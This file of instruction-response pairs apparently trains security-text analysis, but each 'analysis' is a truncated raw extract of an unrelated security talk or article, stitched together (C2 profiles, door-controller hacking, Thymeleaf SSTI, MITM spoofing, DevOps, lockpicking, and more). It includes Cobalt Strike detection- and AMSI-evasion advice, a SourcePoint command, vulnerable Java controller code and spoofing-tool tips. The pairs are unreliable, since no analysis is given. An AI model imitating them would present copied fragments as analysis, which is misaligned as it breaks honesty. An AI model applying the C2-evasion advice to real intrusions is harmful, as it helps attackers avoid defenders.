Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

the Constructocat by Jason Costello - https://github.com/jsncostello
gitDigger
Creating useful wordlists from GitHub
By: WiK & Mubix
We suck at “picturing” things, so in order
for this presentation to be successful you
must all strip down to your underwear
CENSORED
The Researcher – WiK
@jaimefilson
We weren't the first to go digging…
Link to blog post
Only problem is you need to
find a service that is “friendly”
to “research”
02:09 < pasv> http://www.mavitunasecurity.com/blog/svn-digger-better-lists-for-forced-browsing/
02:11 <@WiK> nice find
02:11 < pasv> i wish i had thought of it
02:16 < mubix> Thats awesome
02:16 <@WiK> ive done similar stuff, now i have a font collection that 10gb of unique fonts
02:17 < mubix> wish they would add bitbucket, and github to their searches
02:19 <@WiK> ive looked at scrapin github.. theres no real good way to do it
The 30 minute
I CAN DO THIS!
Solution
but there is no “all repos” list…
Usernames & their repositories
Import os
Import urllib
Import urllib2
Import sqlite3
Enter Python WGET
Got it… now what?
Wordlists
Repositories
Lots of manual review
and headaches
But finally resulted in
os.walk()
sort
grep
awk
Only the “TOP” repositories
17 hours
of manual kung-fu to process into
wordlists
Betterwalk.walk() vs os.walk()
Link to project
Initial Thoughts
The Good News
I got the wordlists that I
wanted and they were useful
The Bad News
Only the “TOP” repositories
Sqlite3 transactions were slow
17 hours of manual labor sucks
My HDD was now full
Lets Get Serious
(well, kinda...)
FIRST PROBLEM: STORAGE
Storage Options
Pros
   Cheap ($99 USD a year)
   Built-in “indexing”
Cons
    Windows Only
    Crashes OFTEN
    Encryption == SLOW
Pros
   Central, local, fast storage
Cons
    Expensive
Remember… I’m already at 3 TB…
Solution
SECOND PROBLEM: PYTHON WGET
GITHUB API
THIRD PROBLEM: SQLITE SUCKS
Solution
PUTTING IT ALL TOGETHER
Upgrades
Added 2 modes
Downloader
Processor
Added Threading
Replaced sqlite3 with mysql
Upgrades
●
Pas...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

使用CobaltStrike从学习C2profile开始
0x00 前言
我一直是CS的忠实粉丝，随着CS4.4的发布，增加了反射DLL的自定义功能，让CS越来越高度可定制化
了。完全没有必要因为防御方的各种查杀CS而放弃CS，转而选择其他C2，或者自己编写C2。当然我也
认可在一次高对抗的红队行动中，前锋马、潜伏马是必不可少的，多备几套C2方案也没有问题。
如果你在行动中，在流量层被查杀，那么你一定是没有用好C2profile。我不打算一一解释C2profile的参
数的意义，因为官方文档很详细了https://www.cobaltstrike.com/help-malleable-c2，也可以阅读http
s://github.com/Tylous/SourcePoint#global-options。
这个SourcePoint是近期出现的适应最新版本的C2profile自动生成工具。上一个类似工具是：https://git
hub.com/FortyNorthSecurity/C2concealer，但是现在已经落后了。推荐使用SourcePoint。
0x01 SourcePoint
这个工具目前还缺少DNS相关的C2profile，不过作者已经增加到To Do List。接下来我们使用一下这个
工具，这个工具是用GO编写的，作者也发布了编译好的版本，因此使用非常容易。我们使用最简参数，
也就是必须填写的参数：
-Outfile 输出文件名
-Host TeamServer的域名或IP
-Injector 进程注入使用的函数
我们来看下生成的C2profile怎么样：
图中有一个[!]，就是默认是开启了分阶段的，这个开启会导致任何人可以下载你的payload，具体
看《关于CobaltStrike的Stager被扫问题》
配置中缺少了 set sample_name "myc2profile"; 还是要给c2配置取个名字，启动Listener的时候
好选择。
set sleeptime "40000"; 默认生成的这个有点大，默认是60000，也就是60秒，这儿是40秒，每
次我都感觉等的着急，我一般设置在10秒，也就是10000。然后抖动值为50，也就是： set
jitter    "50"; ，也就是说回连在5到10秒之间抖动。当然在不操作的时候，还是要设置回连间
隔长一点，我一般设置15到30分钟之间。
DNS相关配置是被注释掉的，需要我们手动配置
SourcePoint.exe -Outfile my.c2profile -Host 127.0.0.1 -Injector
NtMapViewOfSection
dns-beacon {
    set dns_idle             "8.8.8.4";
    set dns_max_txt          "196"; # 这个需要注意，需要被4整除的数字
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-19
No. 1 / 5 - Welcome to www.red-team.cn
配置中transform-x86和transform-x64，把大部分关键字抹除掉了，这个很多公开的配置都没
有，点赞。
set startrwx "true"; 这个配置中是true，改为false，还是不要用可读可写可执行来分配内存。
set amsi_disable "true";  这个CS自带AMSI绕过技术，开启需要注意，毕竟CS是大众工具，
CS自带的方法，很有可能被特征，这也是为什么以前好用的execute-assembly，有时不好用
了，.net4.8加入了AMSI的接口，因此如果你在有.net4.8以上的机器上，使用要慎重。目前使用比
较多的是BOF，或者自己byapss amsi。
set uri "hapvwW2LESRmSSSc8oLrQrS4M ";  默认的这个url是有问题的，需要以 / 开始，可以使
用/api/v1/auth这样比较常见的url。
证书使用的是自签名证书，最好还是搞个免费证书。
整体看，这个工具还是不错的，关键是它关于HTTP(S)数据包伪造，除了提供了6个模板：
Microsoft Window's Update Communication
Slack's Message Communication
Gotomeeting's Active Meeting Communication
Microsoft Outlook's Email Communication
Cloudfront.net
AzureEdge.net
还可以自...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

“We don’t need no stinkin’ badges!”
Shawn Merdinger
security researcher
DEFCON 18
Hacking electronic door access controllers
Outline
• EDAC technology
– Trends, landscape
– Vendors
– Architecture
• EDAC real-world analysis
– S2 Security NetBox
• Research, exposure, vulnerabilities, attacks
• Countermeasures & recommendations
Learning outcomes
• Awareness of security issues in EDAC systems
• Major players, vendors, resellers
• Pen-testing knowledge
• Research and testing methods
Q .  About security of buildings around town….what was your response?
ATTY GEN. RENO:   “Let's do something about it.”
Q.   Is this a good thing that has happened?
ATTY GEN. RENO:   I think any time you expose vulnerabilities, it's a good thing.
Department of Justice
Weekly Media Briefing, 25 May 2000
“When hackers put viruses on your home computer it's a nuisance; when they unlock
doors at your facility it's a nightmare.”
John L. Moss, S2 Security CEO
STAD, Volume14, Issue 1.  1 January, 2004
Choice quotations
EDAC Technology Overview
• Trend is towards IP from proprietary solution
– Convergence of IP, Video
– Adding other building systems (HVAC, elevators, alarms)
– Cost savings, integration, increased capabilities
• Most controllers use embedded Linux
• Wide range of vendors in EDAC space
S2 Security
Honeywell
HID Global Vertx
Ingersoll-Rand
Bosch Security
Reach Systems
Cisco Systems (Richards Zeta)
Brivo
DSX Access
RS2 Technologies
Synergistics
EDAC Deployment
• Often you’ll see
– Managed by building facilities people
– Stuck in a closet and forgotten
– Long lifecycles of 5-10 years
• Distanced from IT Security
– Physical security is not your domain.  It’s ours.
– Patching, upgrades, maintenance.  What?  Huh?
– Policies regarding passwords, logging don’t apply
– 3rd party local service contractor adds doors,
hardware configuration
EDAC Architecture
S2 Security NetBox
• Built by S2 Security
• 9000+ systems installed worldwide
– Schools, hospitals, businesses, LEA facilities, etc.
• S...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PentesterAcademy.com
©PentesterAcademy.com
VoIPShark: Open Source VoIP Analysis
Platform
Nishant Sharma
Jeswin Mathai
Ashish Bhangale
PentesterAcademy.com & AttackDefense.com
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
About Us
Me, Nishant Sharma
• R&D Manager and Lead Trainer, Pentester Academy
• Firmware developer, Enterprise WiFi APs and WIPS Sensors
• Masters degree in Infosec
• Published research at Blackhat US/Asia, DEF CON USA and other venues
Co-authors
• Ashish Bhangale, Sr. Security Researcher
• Jeswin Mathai, Security Researcher
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
PentesterAcademy.com
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
AttackDefense.com
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
Talk Overview
•
VoIP Basics
–
SIP, RTP
–
Secure: TLS, SRTP
•
Recovering/Decrypting VoIP Calls
•
Current open source tools and issues
•
VoIPShark
–
Architecture and Internals
–
Analyzing VoIP Traffic
–
Recovering Calls
–
Detecting Attacks Passively
–
Demo
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
VoIP Telephony
•
Signalling + Media
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
Signalling Protocols
SIP (Session Initiation Protocol)
•
Developed by the IETF
•
Replacement for the desk phones and PSTN (Public Switched Telephone Network)
H.323
•
Created by the ITU-T
•
Focused on videoconferencing but also used for voice calls
SCCP (Skinny)
•
Cisco proprietary protocol used for line-side control of phones
PentesterAcademy.com
©PentesterAcademy.com
PentesterAcademy.com
Session Initiation Protocol
•
Text-based protocol
•
Applications
–
Calls (audio, video) using other media steams like RTP
–
Text messages using SIP “Message” method
•
Works with other protocols
•
Session Description Protocol (SDP) to define with media negotiation and setup
•
Can operate over TCP, UDP or SCTP (Stream Control Transmission Protocol)
•
Security is provided by TLS (Transpo...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

技
术
标
准
研发运营一体化能力成熟度模型
第 3 部分：持续交付过程
The DevOps capability maturity model
Part 3: Continuous delivery process
（征求意见稿）
2017 年 11 月 18 日
YDB XXXXX—XXXX
I
目  次
目次................................................................................... I
前言.................................................................. 错误! 未定义书签。
研发运营一体化......................................................................... 1
1 范围 ............................................................................... 1
2 规范性引用文件 ..................................................................... 1
3 术语 ............................................................................... 1
下列术语和定义适用于本文件。 ......................................................... 1
3.1 AB 测试 ab test .............................................................. 1
3.2 制品 artifact ............................................................... 1
3.3 代码复杂度 code complexity .................................................. 1
3.4 部署流水线 deployment pipeline .............................................. 1
4 缩略语 ............................................................................. 2
5 综述 ............................................................................... 2
6 配置管理 ........................................................................... 2
6.1 版本控制 .................................................................... 2
6.2 版本可追溯性 ................................................................ 3
7 构建与持续集成 ..................................................................... 4
7.1 构建实践 .................................................................... 4
7.2 持续集成 .................................................................... 5
8 测试管理 ........................................................................... 5
8.1 测试分层策略 ................................................................ 6
8.2 代码质量管理 ................................................................ 6
8.3 自动化...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Evolution of iOS Data Protection and
iPhone Forensics:
from iPhone OS to iOS 5
Andrey Belenko & Dmitry Sklyarov
Elcomsoft Co. Ltd.
1
Agenda
• Basics
• iOS Security before iOS 4
• iOS 4 Data Protection
• iOS 5 Data Protection Changes
• Summary
2
Forensics 101
Acquisition ➜ Analysis ➜ Reporting
GOALS:
1.
  Assuming
  physical
  access
  to
  the
  device
  extract
  as
  much
informa>on
  as
  prac>cal
2.
  Leave
  as
  li@le
  traces/ar>facts
  as
  prac>cal
3
iOS: Why Even Bother?
• More than 5 years on the market
• 360+ million iOS devices sold worldwide
• 6 iPhones, 4 iPods, 3 iPads
• “Smart devices” – they do carry a lot of sensitive data
• Corporate deployments are increasing
There was, is, and will be a real need in iPhone
Forensics
4
iPhone Forensics 101
• Passcode
–Prevents unauthorized access to the device
–Bypassing passcode is usually enough
• Keychain
–System-wide storage for sensitive data
–Encrypted
• Storage encryption
5
iPhone Forensics 101
• Logical: iPhone Backup
–Ask device to produce a backup
–Device must be unlocked
–Device may produce encrypted backup
–Limited amount of information
–Get backup from iCloud
• Physical: ﬁlesystem acquisition
–Boot-time exploit to run unsigned code
–Device lock state isn’t relevant
–Can get all information from the device
• Physical+: ﬂash memory acquisition
–Same requirements as for physical
–Also allows recovery of deleted ﬁles!
6
The Inception
Runs iPhone OS (up to 3.1.3)
•Based on Mac OS X
Has a crypto co-processor
06/29/2007
iPhone
7
Hardware Keys
Two embedded AES keys:
• GID – shared by all devices of
same family
• UID – unique for each and every
device
No known ways to extract
GID/UID keys
06/29/2007
iPhone
8
Device Keys
•To avoid unnecessary exposure, usage of UID/
GID keys is limited
•Device keys are computed from hardware keys
during boot:
– 0x835 = AES_Enc (UID, 01010101010101010101010101010101);
– 0x836 = AES_Enc (UID, 00E5A0E6526FAE66C5C1C6D4F16D6180);
– 0x837 = AES_Enc (GID, 345A...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Letting the Air Out of
Tire Pressure
Monitoring Systems
Mike Metzger - Flexible Creations
mike@ﬂexiblecreations.com
1
History
• Porsche - First implemented on the 959 in
1986 (Thanks Wikipedia)
• A bunch of various styles used in luxury
cars
• TREAD act - Basically, the Firestone / Ford
Explorer problems in the 90’s instigated
legislation mandating use
2
TPMS Types
• Direct - This is used in most vehicles
• Battery / Battery-less
• Indirect - Uses ABS and various calculations
instead of a sensor
• Focus on battery-powered Direct TPMS
3
Direct TPMS
Description
• Typically 4 sensors, possibly 5 w/ spare,
mounted on wheel (behind the valve stem)
• Receiver is built into car, often collocated
with the keyless entry components
• Car ECU / PCM processes info - behaves
differently depending on car
4
 Annoying TPMS Light
5
Sensor Description
• Most are a combination of an ASIC (ie, a
microcontroller - Atmel / Freescale /
Microchip, etc), a pressure sensor, and some
RF components
• Typically part of the valve stem and sits in a
recessed area of the rim, inside the tire
• RF transmits in 315MHz band (US) or
433MHz (EU)
6
Sensor Description
• Can be woken up by:
• Rotation
• Low frequency transmission (125kHz -
modulated or continuous)
• Magnets
• Transmission system varies by manufacturer but is
typically once per minute unless there’s a problem
(meaning, signiﬁcant pressure variation)
• Transmissions can overlap, requiring retransmits
7
Sensor Internals
• Siemens VDO (From a Mazda 3, 6, or RX-8)
• Uses an ATMEL AT092 chip (4-bit microprocessor)
• A MEMS style pressure sensor
• Simple RF transmission components
• Battery (CR2302)
• Assorted passive components
8
Before...
9
During...
10
After...
11
And then...
• A discovery...
• http://www.fcc.gov/oet/ea/fccid/
• Enter in the Grantee & Product code
12
FCC Testing
Documents
13
Including...
• Spectrum Analyzer output
• General description of operation
• Often a build of materials
• etc...
• But how to ﬁnd all...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

“Being in the Know”
An overview to
Scanning modern radio systems
Presented by:
Brett & Taylor
Defcon 15
The Basics
• Simplex
– One frequency shared by multiple stations
– Limited coverage
• Tones
– Continuous Tone Coded Squelch System
(CTCSS)
• Private Line (PL)
– Digital Coded Squelch (DCS)
• Repeaters
– Two frequencies (input & output)
– Increased Coverage
So you want to listen to stuff
• Back in the day it was easy…
• You just dialed in the frequency and
you were good to go.
– 154.905 Utah Highway Patrol SLC
– 155.505 Statewide
– 154.2350 SLCO Fire Dispatch
• Not quite as easy these days…
– Trunked, Digital, Encrypted, etc
What is Trunked Radio
• Users are grouped by Talk Group
rather than Frequency
• Radios monitor a central channel called
the Control Channel
• When a user keys the radio the control
channel tells other what frequency to
move to
• When done, users return to the control
channel and wait for the next call
System Types
• Ericsson (EDACS)
– Enhanced Digital Access Communication System
• E.F Johnson (LTR)
– Logical Trunked Radio
• Motorola
– Probably the most common type of system
Ericsson
Enhanced Digital Access
Communication System (EDACS)
EDACS - Overview
• Central Control Channel
• Each frequency is assigned an LCN
– Logical Channel Number
• Controller tells radios what LCN to
switch to when radio traffic is present
• Frequencies must be entered in LCN
order to scan properly
E.F Johnson
Logical Trunked Radio (LTR)
This is what The Riviera Runs
LTR - Overview
• Decentralized Model
• Uses sub-audible data on each
frequency to control system
• Each frequency is assigned an LCN
– Logical Channel Number
• Users are assigned to a specific LCN
and only move if it is busy
• Frequencies must be entered in LCN
order to scan properly
Motorola
SmartNet & SmartZone
SmartNet (Site)
(((  )))
(((  )))
SmartNet (Simulcast)
(((   )))
(((   )))
(((  )))
(((  )))
Site 1
Site 2
SmartZone
(((  )))
(((   )))
(((   )))
(((   )))
(((   )))
Site 1
Site 2
Site...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

前段时间补上了迟迟没有写的 ⽂件包含漏洞原理与实际案例介绍⼀⽂，在其中就提到了
Thymeleaf SSTI 漏洞，昨天在赛博群⾥三梦师傅扔了⼀个随⼿挖的 CVE——Thymeleaf SSTI
Bypass，想着之前项⽬的代码还没清理，⼀起分析来看看
Thymeleaf 是与 java 配合使⽤的⼀款服务端模板引擎，也是 Spring 官⽅⽀持的⼀款服务端模板
引擎。⽽ SSTI 最初是由 James Kettle 提出研究，后来 Emilio Pinna 对他的研究进⾏了补充，然
⽽，这些作者都没有对 Thymeleaf 进⾏ SSTI 漏洞挖掘，因此后来 Aleksei Tiurin 在 ACUNETIX
的官⽅博客上发表了关于 Thymeleaf SSTI 的⽂章。
为了更⽅便读者理解这个 Bypass，因此在这⾥赘述⼀遍⼀些基础性的内容，了解的可以直接跳到
0x03 的内容。
Thymeleaf 表达式可以有以下类型：
${...} ：变量表达式 —— 通常在实际应⽤，⼀般是OGNL表达式或者是 Spring EL，如果
集成了Spring的话，可以在上下⽂变量（context variables ）中执⾏
*{...} : 选择表达式 —— 类似于变量表达式，区别在于选择表达式是在当前选择的对象⽽
不是整个上下⽂变量映射上执⾏。
#{...} : Message (i18n) 表达式 —— 允许从外部源（⽐如 .properties ⽂件）检索特定
于语⾔环境的消息
@{...} : 链接 (URL) 表达式 —— ⼀般⽤在应⽤程序中设置正确的 URL/路径（URL重
写）。
~{...} ：⽚段表达式 —— Thymeleaf 3.x 版本新增的内容，分段段表达式是⼀种表示标
记⽚段并将其移动到模板周围的简单⽅法。 正是由于这些表达式，⽚段可以被复制，或者作
为参数传递给其他模板等等
实际上，Thymeleaf 出现 SSTI 问题的主要原因也正是因为这个⽚段表达式，我们知道⽚段表达式
语法如下：
1. ~{templatename::selector} ，会在 /WEB-INF/templates/ ⽬录下寻找名为
templatename 的模版中定义的 fragment
如有⼀个 html ⽂件的代码如下：
001 写在前⾯
002 Thymeleaf SSTI
然后在另⼀template中可以通过⽚段表达式引⽤该⽚段：
th:insert 和 th:replace: 插⼊⽚段是⽐较常⻅的⽤法
2. ~{templatename} ，引⽤整个 templatename 模版⽂件作为 fragment
这个也⽐较好理解，不做详细举例
3. ~{::selector}  或 ~{this::selector} ，引⽤来⾃同⼀模版⽂件名为 selector 的
fragmnt
在这⾥， selector 可以是通过 th:fragment 定义的⽚段，也可以是类选择器、ID选择器等。
4. 当 ~{} ⽚段表达式中出现 :: ，那么 :: 后需要有值（也就是 selector ）
在了解这些内容后，我们就可以正式来看这个漏洞是怎么⼀回事了。
⾸先，同样的，我们拿⼀个常⻅的例⼦：
这是 SpringBoot 项⽬中某个控制器的部分代码⽚段，thymeleaf 的⽬录如下：
<!DOCTYPE html>
<html
th="http://www.thymeleaf.org">
<body> <div
fragment="banquan"> &copy; 2021 ThreeDream yyds</div>
</body>
</html>
HTML
xmlns:
th:
<div
insert="~{footer :: banquan}"></div>
HTML
th:
@GetMapping("/admin")
public String path(@RequestParam String language)
{
    return "language/" + language + "/admin";
}
JAVA
从代码逻辑中基本上可以判断，这实际上是⼀个语⾔界⾯选择的功能，如果是中⽂阅读习惯者，那
么会令 language 参数为 cn ，如果是英⽂阅读习惯者，那么会令 language 参数为 en ，代码逻辑
本身实际上是没有什么问题的，但是这⾥采⽤的是 thymeleaf 模板，就出现了问题。
在springboot + thymeleaf 中，如果视图名可控，就会导致漏洞的产⽣。其主要原因就是在控制
器中执⾏ return 后，Spring 会⾃动调度 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Spectra
New Wireless Escalation Targets
Jiska Classen
Secure Mobile Networking Lab - SEEMOO
Technische Universität Darmstadt, Germany
Francesco Gringoli
Dept. of Information Engineering
University of Brescia, Italy
2
Motivation
3
When you got Bluetooth on-chip RCE...
35C3 Talk: https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth, Frankenstein Fuzzer: https://github.com/seemoo-lab/frankenstein
4
...but Wi-Fi has more privileges.
“But it’s connected via UART!”
“Can you pop calc?”
5
Let’s break inter-chip separation!
6
Spectra: SpeculativeSpectrum Transmission
●
Wi-Fi, Bluetooth, and even LTE share frequencies in the
2.4 GHz spectrum.
●
They cause interference in small devices like smartphones.
●
Wireless combo chip performance optimization:
enhanced coexistence mechanisms.
●
Observable side effects of transmission delays and
coordination lead to side channels.
●
Attackers require code execution privileges,
but they can escalate between wireless cores
without further checks by the operating system.
SPECTRA
7
Wireless Architecture (iOS)
8
Spectra Impact
1.
Denial of Service
One wireless core denies transmission
to the other core.
2.
Information Disclosure
One wireless core can infer data or
actions of the other core.
3.
Code Execution
One wireless core can execute code
within the other core.
9
Broadcom
Coexistence
(and Cypress)
10
Broadcom: ~ 1 Billion Devices
●
Apple
○
All iPhones, MacBooks, iMacs, older Apple Watches
●
Samsung
○
Samsung Galaxy S and Note series in Europe
●
Google
○
Only older devices, e.g., Nexus 5/6P
●
Raspberry Pi
●
IoT devices
○
Fitbit Ionic
...and no firmware checks. A perfect prototyping platform \o/
11
Coexistence: Escalation within the chip
From the BCM4339 datasheet (Google Nexus 5).
12
AN214852 - Collaborative Coexistence Interface Between Cypress-to-Cypress Solutions and Cypress-to-third-party Chips
By the way, throughput really sucks with ECI disabled. You cannot stream a
video with Wi-Fi and listen to it with your Bluet...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Introduction to Lockpicking
Alek Amrani
DEF CON 17
About Me
● Longhorn Lockpicking
Club
● UT Austin ISO
● CS Undergrad
Format
● First year with Thursday Events
● Long time slot
– People most likely will come and go
– Split time into three portions
● Originally intended to be “hands on” workshop-esc
– “Lost” bag
● Picks
● Locks
● LSI / LLC Event
Format
● Adventure ensues:
● WTF can I do besides bore people for 3 hours
– Teach Lockpicking theory
● Helps Lockpicking Village ?appreciation?
– Entertain?
● Build a Demo Lock
– Materials scrounged up from walking distance
– Started building at 11:30 AM Yesterday (WED 30JUL09)
– Looks utterly disgusting, but still functional-ish
● Redo Powerpoint
Prelim Q & A
● Yes?
● No?
● READY GO
Lockpicking Background
● Why Lockpicking?
● Why “hacking”?
– Same reasons, more or less
● Groups
● Locksport International (LSI)
● The Open Organization Of Lockpickers (TOOOL)
● Longhorn Lockpicking Club (LLC)
● Fraternal Organization Of Locksport (FOOLs)
● Others exist
Legality
● Check local laws
● In general, but not always, it is usually ok to pick
your own locks, or locks you have explicit
permission to pick
● It is not always ok to Cary lockpicks
– EX: NYC and Washington DC
● I have no idea what the laws in your particular
location are.
Locks
● Various ways to group
● Security Level
– Pretty arbitrary grouping
● Operation
– Electronic
– Mechanical
– Electromechanical
● Housing
– Mostly obvious
Pin Tumbler
● Focus will be mostly on these locks
● How they work
● How we pick them open
Pin Tumbler Locks
● Housing
– Green
● Plug
– Yellow
● Driver Pins
– Blue
● Key Pins
– Red
● Shear Line
– The point where the plug meets the housing
Image from wikipedia.org
Pin Tumbler Locks
● Peaks and
Valleys on Key
raise pins
● Correct key
raises top of
key pins to
shear line
Image from wikipedia.org
Pin Tumbler Locks
● Peaks and
Valleys on Key
raise pins
● Correct key
raises top of
key pins to
shear line
Image from wikipedia.org
Pin Tumbler Locks
● W...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

© 2007 McAfee, Inc.
© 2007 McAfee, Inc.
Trojans – A Reality Check
Looking at what‘s real
Toralv Dirro
EMEA Security Strategist, CISSP
McAfee® Avert® Labs
Dirk Kollberg
Virus Research Lead
McAfee® Avert® Labs
© 2007 McAfee, Inc.
So when did all this start?
3
8/14/2007
History Lesson
• Term coined by Ken Thompson in 1983
• Used to gain privileged access to computers since the 80s
— Keyloggers
— Fake login screens
• ...and to maintain access
— Rootkits
— Backdoors
• or trivial trojans that just delete things
http://www.acm.org/awards/article/a1983-thompson.pdf
4
8/14/2007
The Hype is started
• Defcon 7.0: BO2K is released
• Massive Media attention
• The Hype is started
5
8/14/2007
Hype around Trojans
• 2001: Magic Lantern
— Supposedly developed by the FBI to replace (hardware) keyloggers
• 2007: Der Bundestrojaner
— Proposed by German authorities to enable „online searches“ on suspects
computers
— >600.000 Google hits
— April‘s Fool Joke around it by the CCC scares thousands
— Estimated cost of development ~200.000 Euro [1]
[1] Drucksache 16/3973 Deutscher Bundestag
© 2007 McAfee, Inc.
And The Reality?
7
8/14/2007
Malware & Potentially Unwated Program Growth
-5000
0
5000
10000
15000
20000
25000
30000
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
Virus
Trojan
Potentially Unwanted Program
8
8/14/2007
Samples sent to McAfee Research
2005
2006
Source: McAfee’s statistics
Legacy is defined as: DOS, boot-sector, and Win3.1 viruses
12
3
25
Macro
7%
Legacy
39%
Trojans
23%
PUPs
3%
Script
9%
Bots
12%
Win 32
7%
22
3
31
Macro
5%
Legacy
26%
Trojans
31%
PUPs
3%
Script
7%
Bots
22%
Win 32
6%
60000
50000
40000
30000
20000
10000
0
2004                                2005
2006
Bots
Legacy Trojans
Script
Macro Win 32 PUPs
9
8/14/2007
1997 - 2006
Fastest Growing Trojan Types
-2000
0
2000
4000
6000
8000
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
Password Stealer
Downloader
BackDoor
10
8/14/2007
2007: Q1 Password Stealing Tro...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Industrial Cybersecurity Landscape in 2020:
Trends, Challenges, and Opportunities
Dr. Terence Liu
VP-GM, Trend Micro and TXOne Networks
All product names, logos, and brands are property of their
respective owners. All company, product and service names
used in this deck are for identification purposes only. Use of
these names, logos, and brands does not imply endorsement.
START POINT OF THE HEAT
OT
IT and OT Have Converged
IT
ERP
IIoT
!
!
Careless
Insider
Foiled Conspiracy
1. Launch an DDoS attack against
Tesla in order to preoccupy the
company’s security staff
2. Utilize malware to exfiltrate data
for further ransom
• No wireless, no Bluetooth
• No connection (ethernet)
• Physical Isolation (six walls)
• All software/hardware tested BEFORE installing
• Data only passed by personal means, USB, CD, DVD
== Your business does not need to
optimize production
Air-gapped OT is actually
RARE for modern factories
Stuxnet
DUQU
Shamoon,Flamer,
Gauss
Havex, Dragonfly
BlackEnergy 3
Industroyer
Shamoon 2
Triton, Trisis
WannaCry,NotPeta,
Bad Rabbit
VPNFilter
LockerGoga,Ekans,
DoppelPaymer
ColdLock
2010
2011
2012
2013
2014
2015
2016
2017
2017
2018
2019
2020
Critical Infrastructure
Manufacturing
Threat’s Paradigm Shift in ICS World
Manufacturers could be TARGETED
Evolving Cyber Attacks in ICS
WannaCry
2017
Non-Targeted attack.
Worm propagation.
LockerGoga
2019
Targeted attack.
File encryption.
Snake/EKANS
2020
Targeted attack. File
encryption. Detect and
encrypt ICS-related
files.
DoppelPaymer
2020
Targeted attack. File
encryption and data
exfiltration. Kill OT
tasks.
Merck, FedEx,
Maersk, TSMC, …
Norsk Hydro, Altran,
Hexion, Momentiv
Honda, and Enel
Argentina
PEMEX, and Visser
Precision (supplier of
Boeing, Tesla, and
Lockheed Martin)
““A focus on ORM – or operational resilience management - beyond
information-centric cybersecurity is sorely needed,” - Gartner
A LEAGUE OF THEIR OWN
2015 Ukraine Power Grid Cyber Attack
10
Business Network
Internet
Control S...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

端到端流水线驱动DevOps落地
DevOps时代社区
景韵
无关趋势，关乎生死
DevOps 2017 年度报告
Continuous Delivery
Continuous
Integration
DevOps
Continuous Deployment
Lean
(End to End Flow)
Principles
Practices
Running Lean Product/Market Fit
(Finding&Validating Ideas)
Scrum/Kanban
(Process)
XP
(Engineering)
Operations
Business
Software
Service
Agile(Development/Test)
DevOps在整个软件生命周期的位置
 s
peOA
s
s
p
v
R
S
sC
-sD
s
=s
企业级DevOps理论与实践体系（标准）
流水线驱动DevOps
主要结论
• 业务对交付频率有较高要求，65%的受访者实现了每周一次以上的部署频率
• 部署频率与部署成功率正相关，通过技术手段可以保证价值快速和高质量流动
• 64%的受访者已经引入持续交付流水线， 其中的86%在使用Jenkins
• 各阶段工具与流水线集成比率低于25%，流水线自动触发比率仅有31%
1. 流水线集成很困难
• 需要端到端整合持续交付流水线
• 多种工具间有效集成和互联互通
2. 自动化触发比率低
3. 优秀实践应用不全
问题及改进建议
（一）
问题及改进建议
（二）
问题及改进建议
（三）
• 代码提交自动触发，自动化执行
• 流水线逐层晋级，实现内建质量
• 代码扫描，非功能测试，灰度发布
• 分布式配置中心，数据库变更管理
DevOps流水线调研结论
张乐、石雪峰、景韵
流水线核心成员：张乐、赵舜东、景韵、石雪峰、雷涛、李华强、孙博
微服务项目
Build
Test
Deploy
•
Everything is Container
所有的构建、测试、部署、运行环
境都实现容器化动态生成
•
Docker in Docker
在通用容器环境中，按需拉取任务
所需镜像，实现环境标准化
全面拥抱容器化
•
Slave动态挂载
Jenkins节点通过JNLP协议动态生
成挂载
•
资源动态调度
容器资源由Kubernetes平台进行
统一调度，动态扩容收缩
弹性动态集群
•
打通需求开发部署流程
Jira，Gitlab，Jenkins完美集成，
流水线状态自动化同步
•
插接研发团队内部工具
将自动化测试，部署上线集成到流
水线中，端到端打通全流程
From KK：Why, What, and How of Continuous Delivery
流水线工具集成
流水线的16个特性
流水线建设路线图
Value Stream Mapping
THANKS


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Anch Presents:
The Monkey In the Middle
A pen-testers guide to playing
in trafﬁc.
Twitter: @boneheadsanon
A little about me
Over 10 years experience in
testing pens (Fountain is my
favorite)
Why we play in traffic?
❖ Trafﬁc is interesting stuff.!
❖ Gives us insight in to how
things work.!
❖ Allows us to gather
information on a target.!
❖ Allows us to change things
as they go by.!
❖ Most importantly….  !
❖ It allows us to prank our
friends.
How to get into traffic…
❖ Always wear a helmet…!
❖ It can be dangerous.!
❖ Really messes with
networks.!
❖ Your host might not be
fast enough.!
❖ Switches alert on some
things.!
❖ IDS usually will catch it.
How to get into traffic…
❖ A tool discussion!
❖ ARP Spooﬁng!
❖ DNS Poisoning/Spooﬁng!
❖ DHCP Snooping!
❖ Transparent Proxies
The most dangerous option
ARP Spoofing/
Poisoning
arpspoof - Provided as part of the dsniff
suite of tools.!
!
❖ EASILY detected on a network.!
❖ If done incorrectly can take down
entire segments of the network.!
❖ Need a fairly powerful host to keep up
with the trafﬁc.
Another, slightly less dangerous way
DNS Poisoning/
Spoofing
Cain is able to perform this function
amongst other tools.!
!
❖ May still require you to ARP Spoof
ﬁrst.!
❖ Used in conjunction with other tools!
❖ Provides your IP address the answer
to DNS queries.
Still a little less dangerous
DHCP Spoofing
